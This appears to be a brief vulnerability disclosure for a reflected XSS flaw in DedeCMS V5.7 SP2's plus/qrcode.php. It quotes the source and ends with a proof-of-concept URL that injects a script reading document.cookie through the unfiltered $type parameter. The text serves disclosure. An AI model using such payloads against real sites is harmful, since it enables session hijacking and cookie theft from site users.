Reflected XSS Vulnerability exists in the file of DedeCMS V5.7 SP2 version, which can be executed javascript code.

plus/qrcode.php

**<?php**$cfg\_NotPrintHead=**'Y'**;  
  
**require\_once**(*dirname*(***\_\_FILE\_\_***).**'/../include/common.inc.php'**);  
**require\_once**(***DEDEINC***.**'/qrcode.class.php'**);  
  
$action = **isset**($action)? $action : **''**;  
$type = **isset**($type)? $type : **''**;  
$id = (**isset**($id) && *is\_numeric*($id)) ? $id : 0;  
**if** ( !*in\_array*($type,**array**(**'list'**,**'arc'**,**'index'**)) ) $url = **"http://2v.dedecms.com"**;  
  
**if** ( $action==**'get\_qrcode'** )  
{  
 **if** ( $type==**'arc'** )  
 {  
 $url = $cfg\_basehost.$cfg\_plus\_dir.**'/view.php?aid='**.$id;  
 } **elseif** ( $type==**'list'** )  
 {  
 $url = $cfg\_basehost.$cfg\_plus\_dir.**'/list.php?tid='**.$id;  
 }  
 **if**($id==0) $url = **"http://2v.dedecms.com"**;  
 **if** ( $type==**'index'** ) $url = $cfg\_basehost.$cfg\_plus\_dir.**'/index.php'**;  
  
 *header*(**"Content-Type: image/png"**);  
 $params=**array**();  
 $params[**'data'**] = $url;  
 $params[**'size'**] = 6;  
 $qrcode = **new** DedeQrcode;  
  
 $qrcode->generate($params);  
} **else** {  
 *header*(**"Content-Type: text/html; charset=**{$cfg\_soft\_lang}**"**);  
 $dtp = **new** DedeTemplate();  
 $tplfile = ***DEDETEMPLATE***.**'/plus/qrcode.htm'**;  
 $dtp->LoadTemplate($tplfile);  
 $dtp->SetVar(**'id'**,$id);  
 $dtp->SetVar(**'type'**,$type);  
 $dtp->Display();  
 **exit**();  
}

The variable $type was outputted without any filter .

<http://dedecms.local/plus/qrcode.php?id=0&type=aaa%22%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3E233>



